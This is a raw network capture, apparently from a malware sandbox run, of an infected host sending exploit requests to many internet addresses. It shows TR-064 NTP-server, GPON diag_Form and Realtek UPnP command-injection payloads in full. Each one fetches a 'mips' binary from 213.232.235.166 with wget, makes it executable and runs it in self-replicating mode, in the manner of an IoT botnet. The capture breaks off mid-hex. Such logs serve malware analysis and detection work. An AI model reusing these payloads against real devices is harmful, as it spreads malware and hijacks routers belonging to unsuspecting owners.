Apr 15, 2024 08:53:57.666585922 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.13	59570	221.151.234.184	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.784442902 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.13	57428	189.15.71.96	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.818103075 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:57.145893097 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.13	38988	154.39.104.190	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.928421021 CEST	16	OUT	Data Raw: 50 4f 53 54 Data Ascii: POST
Apr 15, 2024 08:53:57.237706900 CEST	44	OUT	Data Raw: 20 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 2f 20 48 54 54 Data Ascii: /GponForm/diag_Form?images/ HTT
Apr 15, 2024 08:53:57.237706900 CEST	48	OUT	Data Raw: 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 0d 0a 41 63 63 Data Ascii: P/1.1User-Agent: Hello, WorldAcc
Apr 15, 2024 08:53:57.237706900 CEST	48	OUT	Data Raw: 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 Data Ascii: ept: /Accept-Encoding: gzip, def
Apr 15, 2024 08:53:57.237751007 CEST	48	OUT	Data Raw: 6c 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 Data Ascii: lateContent-Type: application/x-ww
Apr 15, 2024 08:53:57.237751007 CEST	48	OUT	Data Raw: 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 0d 0a 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 Data Ascii: w-form-urlencodedXWebPageName=di
Apr 15, 2024 08:53:57.237751007 CEST	48	OUT	Data Raw: 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 Data Ascii: ag&diag_action=ping&wan_conlist=0&de
Apr 15, 2024 08:53:57.237751007 CEST	48	OUT	Data Raw: 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 Data Ascii: st_host=`busybox+wget+http://213.232
Apr 15, 2024 08:53:57.237751007 CEST	48	OUT	Data Raw: 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b Data Ascii: .235.166/mips;chmod+777+mips;./mips+
Apr 15, 2024 08:53:57.237751007 CEST	31	OUT	Data Raw: 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:57.546585083 CEST	341	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:57 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 39 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 9a<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.13	46028	177.244.195.156	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.963196039 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1405	192.168.2.13	35498	35.241.7.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.992621899 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.13	60926	190.33.243.128	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.016612053 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:57.279490948 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.13	54244	207.174.148.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.054526091 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:57.293782949 CEST	240	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:53:56 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.13	59580	221.151.234.184	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.079093933 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.13	41800	38.43.133.210	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.118824005 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.13	39490	163.152.208.183	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.136148930 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:57.444813013 CEST	150	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:59:21 GMT Server: CANON HTTP Server Content-Type: text/html Content-Length: 109
Apr 15, 2024 08:53:57.444828987 CEST	121	IN	Data Raw: 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 48 31 3e 0d 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 Data Ascii: <BODY><H1>400 Bad Request</H1>Your browser sent a request that this server could not understand.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.13	57436	189.15.71.96	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.145982981 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:57.470541954 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.13	55350	54.194.132.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.145983934 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:57.457093954 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:57 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.13	41254	54.252.234.138	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.193046093 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:59.040368080 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:59.407092094 CEST	433	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:59 GMT Server: Apache/2.4.51 (Unix) OpenSSL/1.1.1n Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.13	56130	45.200.76.196	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.194138050 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.13	38754	178.135.107.248	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:57.239367962 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 